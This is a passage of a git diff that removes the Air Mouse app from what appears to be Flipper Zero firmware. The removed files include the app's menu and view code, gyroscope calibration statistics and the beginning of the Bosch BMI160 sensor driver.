- implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright [yyyy] [name of copyright owner] - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/applications/external/airmouse/air_mouse.c b/applications/external/airmouse/air_mouse.c deleted file mode 100644 index 64b2274ab..000000000 --- a/applications/external/airmouse/air_mouse.c +++ /dev/null @@ -1,160 +0,0 @@ -#include "air_mouse.h" -#include - -#include -#include "tracking/imu/imu.h" - -#define TAG "AirMouseApp" - -enum AirMouseSubmenuIndex { - AirMouseSubmenuIndexBtMouse, - AirMouseSubmenuIndexUsbMouse, - AirMouseSubmenuIndexCalibration, -}; - -void air_mouse_submenu_callback(void* context, uint32_t index) { - furi_assert(context); - AirMouse* app = context; - if(index == AirMouseSubmenuIndexBtMouse) { - app->view_id = AirMouseViewBtMouse; - view_dispatcher_switch_to_view(app->view_dispatcher, AirMouseViewBtMouse); - } else if(index == AirMouseSubmenuIndexUsbMouse) { - app->view_id = AirMouseViewUsbMouse; - view_dispatcher_switch_to_view(app->view_dispatcher, AirMouseViewUsbMouse); - } else if(index == AirMouseSubmenuIndexCalibration) { - app->view_id = AirMouseViewCalibration; - view_dispatcher_switch_to_view(app->view_dispatcher, AirMouseViewCalibration); - } -} - -void air_mouse_dialog_callback(DialogExResult result, void* context) { - furi_assert(context); - AirMouse* app = context; - if(result == DialogExResultLeft) { - view_dispatcher_switch_to_view(app->view_dispatcher, VIEW_NONE); // Exit - } else if(result == DialogExResultRight) { - view_dispatcher_switch_to_view(app->view_dispatcher, app->view_id); // Show last view - } else if(result == DialogExResultCenter) { - view_dispatcher_switch_to_view(app->view_dispatcher, AirMouseViewSubmenu); // Menu - } -} - -uint32_t air_mouse_exit_confirm_view(void* context) { - UNUSED(context); - return AirMouseViewExitConfirm; -} - -uint32_t air_mouse_exit(void* context) { - UNUSED(context); - return VIEW_NONE; -} - -AirMouse* air_mouse_app_alloc() { - AirMouse* app = malloc(sizeof(AirMouse)); - - Storage* storage = furi_record_open(RECORD_STORAGE); - storage_simply_mkdir(storage, EXT_PATH("apps_data/air_mouse")); - storage_common_migrate( - storage, EXT_PATH(".calibration.data"), EXT_PATH("apps_data/air_mouse/calibration.data")); - furi_record_close(RECORD_STORAGE); - - // Gui - app->gui = furi_record_open(RECORD_GUI); - - // View dispatcher - app->view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(app->view_dispatcher); - view_dispatcher_attach_to_gui(app->view_dispatcher, app->gui, ViewDispatcherTypeFullscreen); - - // Submenu view - app->submenu = submenu_alloc(); - submenu_add_item( - app->submenu, "Bluetooth", AirMouseSubmenuIndexBtMouse, air_mouse_submenu_callback, app); - submenu_add_item( - app->submenu, "USB", AirMouseSubmenuIndexUsbMouse, air_mouse_submenu_callback, app); - submenu_add_item( - app->submenu, - "Calibration", - AirMouseSubmenuIndexCalibration, - air_mouse_submenu_callback, - app); - view_set_previous_callback(submenu_get_view(app->submenu), air_mouse_exit); - view_dispatcher_add_view( - app->view_dispatcher, AirMouseViewSubmenu, submenu_get_view(app->submenu)); - - // Dialog view - app->dialog = dialog_ex_alloc(); - dialog_ex_set_result_callback(app->dialog, air_mouse_dialog_callback); - dialog_ex_set_context(app->dialog, app); - dialog_ex_set_left_button_text(app->dialog, "Exit"); - dialog_ex_set_right_button_text(app->dialog, "Stay"); - dialog_ex_set_center_button_text(app->dialog, "Menu"); - dialog_ex_set_header(app->dialog, "Close Current App?", 16, 12, AlignLeft, AlignTop); - view_dispatcher_add_view( - app->view_dispatcher, AirMouseViewExitConfirm, dialog_ex_get_view(app->dialog)); - - // Bluetooth view - app->bt_mouse = bt_mouse_alloc(app->view_dispatcher); - view_set_previous_callback(bt_mouse_get_view(app->bt_mouse), air_mouse_exit_confirm_view); - view_dispatcher_add_view( - app->view_dispatcher, AirMouseViewBtMouse, bt_mouse_get_view(app->bt_mouse)); - - // USB view - app->usb_mouse = usb_mouse_alloc(app->view_dispatcher); - view_set_previous_callback(usb_mouse_get_view(app->usb_mouse), air_mouse_exit_confirm_view); - view_dispatcher_add_view( - app->view_dispatcher, AirMouseViewUsbMouse, usb_mouse_get_view(app->usb_mouse)); - - // Calibration view - app->calibration = calibration_alloc(app->view_dispatcher); - view_set_previous_callback( - calibration_get_view(app->calibration), air_mouse_exit_confirm_view); - view_dispatcher_add_view( - app->view_dispatcher, AirMouseViewCalibration, calibration_get_view(app->calibration)); - - app->view_id = AirMouseViewSubmenu; - view_dispatcher_switch_to_view(app->view_dispatcher, app->view_id); - - return app; -} - -void air_mouse_app_free(AirMouse* app) { - furi_assert(app); - - // Free views - view_dispatcher_remove_view(app->view_dispatcher, AirMouseViewSubmenu); - submenu_free(app->submenu); - view_dispatcher_remove_view(app->view_dispatcher, AirMouseViewExitConfirm); - dialog_ex_free(app->dialog); - view_dispatcher_remove_view(app->view_dispatcher, AirMouseViewBtMouse); - bt_mouse_free(app->bt_mouse); - view_dispatcher_remove_view(app->view_dispatcher, AirMouseViewUsbMouse); - usb_mouse_free(app->usb_mouse); - view_dispatcher_remove_view(app->view_dispatcher, AirMouseViewCalibration); - calibration_free(app->calibration); - view_dispatcher_free(app->view_dispatcher); - - // Close records - furi_record_close(RECORD_GUI); - app->gui = NULL; - - // Free rest - free(app); -} - -int32_t air_mouse_app(void* p) { - UNUSED(p); - - AirMouse* app = air_mouse_app_alloc(); - if(!imu_begin()) { - air_mouse_app_free(app); - return -1; - } - - view_dispatcher_run(app->view_dispatcher); - - imu_end(); - air_mouse_app_free(app); - - return 0; -} diff --git a/applications/external/airmouse/air_mouse.h b/applications/external/airmouse/air_mouse.h deleted file mode 100644 index 3a1ba783e..000000000 --- a/applications/external/airmouse/air_mouse.h +++ /dev/null @@ -1,30 +0,0 @@ -#pragma once - -#include -#include -#include -#include -#include - -#include "views/bt_mouse.h" -#include "views/usb_mouse.h" -#include "views/calibration.h" - -typedef struct { - Gui* gui; - ViewDispatcher* view_dispatcher; - Submenu* submenu; - DialogEx* dialog; - BtMouse* bt_mouse; - UsbMouse* usb_mouse; - Calibration* calibration; - uint32_t view_id; -} AirMouse; - -typedef enum { - AirMouseViewSubmenu, - AirMouseViewBtMouse, - AirMouseViewUsbMouse, - AirMouseViewCalibration, - AirMouseViewExitConfirm, -} AirMouseView; diff --git a/applications/external/airmouse/application.fam b/applications/external/airmouse/application.fam deleted file mode 100644 index b5498b8ce..000000000 --- a/applications/external/airmouse/application.fam +++ /dev/null @@ -1,11 +0,0 @@ -App( - appid="air_mouse", - name="[BMI160] Air Mouse", - apptype=FlipperAppType.EXTERNAL, - entry_point="air_mouse_app", - stack_size=10 * 1024, - fap_category="GPIO", - fap_icon="mouse_10px.png", - fap_version="0.8", - sources=["*.c", "*.cc"], -) diff --git a/applications/external/airmouse/mouse_10px.png b/applications/external/airmouse/mouse_10px.png deleted file mode 100644 index 94c3a7a14..000000000 Binary files a/applications/external/airmouse/mouse_10px.png and /dev/null differ diff --git a/applications/external/airmouse/tracking/calibration_data.cc b/applications/external/airmouse/tracking/calibration_data.cc deleted file mode 100644 index e62311c7a..000000000 --- a/applications/external/airmouse/tracking/calibration_data.cc +++ /dev/null @@ -1,85 +0,0 @@ -#include -#include - -#define TAG "tracker" - -#include "calibration_data.h" - -#include -#include - -// Student's distribution T value for 95% (two-sided) confidence interval. -static const double Tn = 1.960; - -// Number of samples (degrees of freedom) for the corresponding T values. -static const int Nn = 200; - -void CalibrationData::reset() -{ - complete = false; - count = 0; - sum = Vector::Zero(); - sumSq = Vector::Zero(); - mean = Vector::Zero(); - median = Vector::Zero(); - sigma = Vector::Zero(); - delta = Vector::Zero(); - xData.clear(); - yData.clear(); - zData.clear(); -} - -bool CalibrationData::add(Vector& data) -{ - if (complete) { - return true; - } - - xData.push_back(data[0]); - yData.push_back(data[1]); - zData.push_back(data[2]); - - sum += data; - sumSq += data * data; - count++; - - if (count >= Nn) { - calcDelta(); - complete = true; - } - - return complete; -} - -static inline double medianOf(std::vector& list) -{ - std::sort(list.begin(), list.end()); - int count = list.size(); - int middle = count / 2; - return (count % 2 == 1) ? list[middle] : (list[middle - 1] + list[middle]) / 2.0l; -} - -void CalibrationData::calcDelta() -{ - median.Set(medianOf(xData), medianOf(yData), medianOf(zData)); - - mean = sum / count; - Vector m2 = mean * mean; - Vector d = sumSq / count - m2; - Vector s2 = (d * count) / (count - 1); - sigma = Vector(std::sqrt(d[0]), std::sqrt(d[1]), std::sqrt(d[2])); - Vector s = Vector(std::sqrt(s2[0]), std::sqrt(s2[1]), std::sqrt(s2[2])); - delta = s * Tn / std::sqrt((double)count); - Vector low = mean - delta; - Vector high = mean + delta; - - FURI_LOG_I(TAG, - "M[x] = { %f ... %f } // median = %f // avg = %f // delta = %f // sigma = %f", - low[0], high[0], median[0], mean[0], delta[0], sigma[0]); - FURI_LOG_I(TAG, - "M[y] = { %f ... %f } // median = %f // avg = %f // delta = %f // sigma = %f", - low[1], high[1], median[1], mean[1], delta[1], sigma[1]); - FURI_LOG_I(TAG, - "M[z] = { %f ... %f } // median = %f // avg = %f // delta = %f // sigma = %f", - low[2], high[2], median[2], mean[2], delta[2], sigma[2]); -} \ No newline at end of file diff --git a/applications/external/airmouse/tracking/calibration_data.h b/applications/external/airmouse/tracking/calibration_data.h deleted file mode 100644 index e373eaa66..000000000 --- a/applications/external/airmouse/tracking/calibration_data.h +++ /dev/null @@ -1,116 +0,0 @@ -#pragma once - -#include -#include -#include - -#include "util/vector.h" - -#define CALIBRATION_DATA_VER (1) -#define CALIBRATION_DATA_PATH EXT_PATH("apps_data/air_mouse/calibration.data") -#define CALIBRATION_DATA_MAGIC (0x23) - -#define CALIBRATION_DATA_SAVE(x) \ - saved_struct_save( \ - CALIBRATION_DATA_PATH, \ - (x), \ - sizeof(CalibrationMedian), \ - CALIBRATION_DATA_MAGIC, \ - CALIBRATION_DATA_VER) - -#define CALIBRATION_DATA_LOAD(x) \ - saved_struct_load( \ - CALIBRATION_DATA_PATH, \ - (x), \ - sizeof(CalibrationMedian), \ - CALIBRATION_DATA_MAGIC, \ - CALIBRATION_DATA_VER) - -typedef struct { - double x; - double y; - double z; -} CalibrationMedian; - -typedef cardboard::Vector3 Vector; - -/** - * Helper class to gather some stats and store the calibration data. Right now it calculates a lot - * more stats than actually needed. Some of them are used for logging the sensors quality (and - * filing bugs), other may be required in the future, e.g. for bias. - */ -class CalibrationData { -public: - /** - * Check if the sensors were calibrated before. - * - * @return {@code true} if calibration data is available, or {@code false} otherwise. - */ - bool isComplete() { - return complete; - } - - /** Prepare to collect new calibration data. */ - void reset(); - - /** - * Retrieve the median gyroscope readings. - * - * @return Three-axis median vector. - */ - Vector getMedian() { - return median; - } - - /** - * Retrieve the mean gyroscope readings. - * - * @return Three-axis mean vector. - */ - Vector getMean() { - return mean; - } - - /** - * Retrieve the standard deviation of gyroscope readings. - * - * @return Three-axis standard deviation vector. - */ - Vector getSigma() { - return sigma; - } - - /** - * Retrieve the confidence interval size of gyroscope readings. - * - * @return Three-axis confidence interval size vector. - */ - Vector getDelta() { - return delta; - } - - /** - * Add a new gyroscope reading to the stats. - * - * @param data gyroscope values vector. - * @return {@code true} if we now have enough data for calibration, or {@code false} otherwise. - */ - bool add(Vector& data); - -private: - // Calculates the confidence interval (mean +- delta) and some other related values, like - // standard deviation, etc. See https://en.wikipedia.org/wiki/Student%27s_t-distribution - void calcDelta(); - - int count; - bool complete; - Vector sum; - Vector sumSq; - Vector mean; - Vector median; - Vector sigma; - Vector delta; - std::vector xData; - std::vector yData; - std::vector zData; -}; diff --git a/applications/external/airmouse/tracking/imu/bmi160.c b/applications/external/airmouse/tracking/imu/bmi160.c deleted file mode 100644 index 968dddd4d..000000000 --- a/applications/external/airmouse/tracking/imu/bmi160.c +++ /dev/null @@ -1,5988 +0,0 @@ -/** -* Copyright (c) 2021 Bosch Sensortec GmbH. All rights reserved. -* -* BSD-3-Clause -* -* Redistribution and use in source and binary forms, with or without -* modification, are permitted provided that the following conditions are met: -* -* 1. Redistributions of source code must retain the above copyright -* notice, this list of conditions and the following disclaimer. -* -* 2. Redistributions in binary form must reproduce the above copyright -* notice, this list of conditions and the following disclaimer in the -* documentation and/or other materials provided with the distribution. -* -* 3. Neither the name of the copyright holder nor the names of its -* contributors may be used to endorse or promote products derived from -* this software without specific prior written permission. -* -* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS -* FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE -* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, -* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) -* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, -* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING -* IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -* POSSIBILITY OF SUCH DAMAGE. -* -* @file bmi160.c -* @date 2021-10-05 -* @version v3.9.2 -* -*/ - -#include "bmi160.h" - -/* Below look up table follows the enum bmi160_int_types. - * Hence any change should match to the enum bmi160_int_types - */ -const uint8_t int_mask_lookup_table[13] = { - BMI160_INT1_SLOPE_MASK, - BMI160_INT1_SLOPE_MASK, - BMI160_INT2_LOW_STEP_DETECT_MASK, - BMI160_INT1_DOUBLE_TAP_MASK, - BMI160_INT1_SINGLE_TAP_MASK, - BMI160_INT1_ORIENT_MASK, - BMI160_INT1_FLAT_MASK, - BMI160_INT1_HIGH_G_MASK, - BMI160_INT1_LOW_G_MASK, - BMI160_INT1_NO_MOTION_MASK, - BMI160_INT2_DATA_READY_MASK, - BMI160_INT2_FIFO_FULL_MASK, - BMI160_INT2_FIFO_WM_MASK}; - -/*********************************************************************/ -/* Static function declarations */ - -/*! - * @brief This API configures the pins to fire the - * interrupt signal when it occurs - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t - set_intr_pin_config(const struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*! - * @brief This API sets the any-motion interrupt of the sensor. - * This interrupt occurs when accel values exceeds preset threshold - * for a certain period of time. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t - set_accel_any_motion_int(struct bmi160_int_settg* int_config, struct bmi160_dev* dev); - -/*! - * @brief This API sets tap interrupts.Interrupt is fired when - * tap movements happen. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t set_accel_tap_int(struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*! - * @brief This API sets the data ready interrupt for both accel and gyro. - * This interrupt occurs when new accel and gyro data come. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t set_accel_gyro_data_ready_int( - const struct bmi160_int_settg* int_config, - const struct bmi160_dev* dev); - -/*! - * @brief This API sets the significant motion interrupt of the sensor.This - * interrupt occurs when there is change in user location. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t - set_accel_sig_motion_int(struct bmi160_int_settg* int_config, struct bmi160_dev* dev); - -/*! - * @brief This API sets the no motion/slow motion interrupt of the sensor. - * Slow motion is similar to any motion interrupt.No motion interrupt - * occurs when slope bet. two accel values falls below preset threshold - * for preset duration. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t - set_accel_no_motion_int(struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*! - * @brief This API sets the step detection interrupt.This interrupt - * occurs when the single step causes accel values to go above - * preset threshold. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t - set_accel_step_detect_int(struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*! - * @brief This API sets the orientation interrupt of the sensor.This - * interrupt occurs when there is orientation change in the sensor - * with respect to gravitational field vector g. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t - set_accel_orientation_int(struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*! - * @brief This API sets the flat interrupt of the sensor.This interrupt - * occurs in case of flat orientation - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t - set_accel_flat_detect_int(struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*! - * @brief This API sets the low-g interrupt of the sensor.This interrupt - * occurs during free-fall. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t - set_accel_low_g_int(struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*! - * @brief This API sets the high-g interrupt of the sensor.The interrupt - * occurs if the absolute value of acceleration data of any enabled axis - * exceeds the programmed threshold and the sign of the value does not - * change for a preset duration. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t - set_accel_high_g_int(struct bmi160_int_settg* int_config, const struct bmi160_dev* dev); - -/*! - * @brief This API sets the default configuration parameters of accel & gyro. - * Also maintain the previous state of configurations. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static void default_param_settg(struct bmi160_dev* dev); - -/*! - * @brief This API is used to validate the device structure pointer for - * null conditions. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t null_ptr_check(const struct bmi160_dev* dev); - -/*! - * @brief This API set the accel configuration. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t set_accel_conf(struct bmi160_dev* dev); - -/*! - * @brief This API gets the accel configuration. - * - * @param[out] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t get_accel_conf(struct bmi160_dev* dev); - -/*! - * @brief This API check the accel configuration. - * - * @param[in] data : Pointer to store the updated accel config. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t check_accel_config(uint8_t* data, const struct bmi160_dev* dev); - -/*! - * @brief This API process the accel odr. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t process_accel_odr(uint8_t* data, const struct bmi160_dev* dev); - -/*! - * @brief This API process the accel bandwidth. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t process_accel_bw(uint8_t* data, const struct bmi160_dev* dev); - -/*! - * @brief This API process the accel range. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t process_accel_range(uint8_t* data, const struct bmi160_dev* dev); - -/*! - * @brief This API checks the invalid settings for ODR & Bw for Accel and Gyro. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t check_invalid_settg(const struct bmi160_dev* dev); - -/*! - * @brief This API set the gyro configuration. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t set_gyro_conf(struct bmi160_dev* dev); - -/*! - * @brief This API get the gyro configuration. - * - * @param[out] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t get_gyro_conf(struct bmi160_dev* dev); - -/*! - * @brief This API check the gyro configuration. - * - * @param[in] data : Pointer to store the updated gyro config. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t check_gyro_config(uint8_t* data, const struct bmi160_dev* dev); - -/*! - * @brief This API process the gyro odr. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t process_gyro_odr(uint8_t* data, const struct bmi160_dev* dev); - -/*! - * @brief This API process the gyro bandwidth. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t process_gyro_bw(uint8_t* data, const struct bmi160_dev* dev); - -/*! - * @brief This API process the gyro range. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t process_gyro_range(uint8_t* data, const struct bmi160_dev* dev); - -/*! - * @brief This API sets the accel power mode. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t set_accel_pwr(struct bmi160_dev* dev); - -/*! - * @brief This API process the undersampling setting of Accel. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t process_under_sampling(uint8_t* data, const struct bmi160_dev* dev); - -/*! - * @brief This API sets the gyro power mode. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error. - */ -static int8_t set_gyro_pwr(struct bmi160_dev* dev); - -/*! - * @brief This API reads accel data along with sensor time if time is requested - * by user. Kindly refer the user guide(README.md) for more info. - * - * @param[in] len : len to read no of bytes - * @param[out] accel : Structure pointer to store accel data - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t - get_accel_data(uint8_t len, struct bmi160_sensor_data* accel, const struct bmi160_dev* dev); - -/*! - * @brief This API reads accel data along with sensor time if time is requested - * by user. Kindly refer the user guide(README.md) for more info. - * - * @param[in] len : len to read no of bytes - * @param[out] gyro : Structure pointer to store accel data - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t - get_gyro_data(uint8_t len, struct bmi160_sensor_data* gyro, const struct bmi160_dev* dev); - -/*! - * @brief This API reads accel and gyro data along with sensor time - * if time is requested by user. - * Kindly refer the user guide(README.md) for more info. - * - * @param[in] len : len to read no of bytes - * @param[out] accel : Structure pointer to store accel data - * @param[out] gyro : Structure pointer to store accel data - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t get_accel_gyro_data( - uint8_t len, - struct bmi160_sensor_data* accel, - struct bmi160_sensor_data* gyro, - const struct bmi160_dev* dev); - -/*! - * @brief This API enables the any-motion interrupt for accel. - * - * @param[in] any_motion_int_cfg : Structure instance of - * bmi160_acc_any_mot_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t enable_accel_any_motion_int( - const struct bmi160_acc_any_mot_int_cfg* any_motion_int_cfg, - struct bmi160_dev* dev); - -/*! - * @brief This API disable the sig-motion interrupt. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t disable_sig_motion_int(const struct bmi160_dev* dev); - -/*! - * @brief This API configure the source of data(filter & pre-filter) - * for any-motion interrupt. - * - * @param[in] any_motion_int_cfg : Structure instance of - * bmi160_acc_any_mot_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_any_motion_src( - const struct bmi160_acc_any_mot_int_cfg* any_motion_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the duration and threshold of - * any-motion interrupt. - * - * @param[in] any_motion_int_cfg : Structure instance of - * bmi160_acc_any_mot_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_any_dur_threshold( - const struct bmi160_acc_any_mot_int_cfg* any_motion_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure necessary setting of any-motion interrupt. - * - * @param[in] int_config : Structure instance of bmi160_int_settg. - * @param[in] any_motion_int_cfg : Structure instance of - * bmi160_acc_any_mot_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_any_motion_int_settg( - const struct bmi160_int_settg* int_config, - const struct bmi160_acc_any_mot_int_cfg* any_motion_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API enable the data ready interrupt. - * - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t enable_data_ready_int(const struct bmi160_dev* dev); - -/*! - * @brief This API enables the no motion/slow motion interrupt. - * - * @param[in] no_mot_int_cfg : Structure instance of - * bmi160_acc_no_motion_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t enable_no_motion_int( - const struct bmi160_acc_no_motion_int_cfg* no_mot_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the interrupt PIN setting for - * no motion/slow motion interrupt. - * - * @param[in] int_config : structure instance of bmi160_int_settg. - * @param[in] no_mot_int_cfg : Structure instance of - * bmi160_acc_no_motion_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_no_motion_int_settg( - const struct bmi160_int_settg* int_config, - const struct bmi160_acc_no_motion_int_cfg* no_mot_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the source of interrupt for no motion. - * - * @param[in] no_mot_int_cfg : Structure instance of - * bmi160_acc_no_motion_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_no_motion_data_src( - const struct bmi160_acc_no_motion_int_cfg* no_mot_int_cfg, - const struct bmi160_dev* dev); - -/*! - * @brief This API configure the duration and threshold of - * no motion/slow motion interrupt along with selection of no/slow motion. - * - * @param[in] no_mot_int_cfg : Structure instance of - * bmi160_acc_no_motion_int_cfg. - * @param[in] dev : Structure instance of bmi160_dev. - * - * @return Result of API execution status - * @retval zero -> Success / -ve value -> Error - */ -static int8_t config_no_motion_dur_thr( - const struct 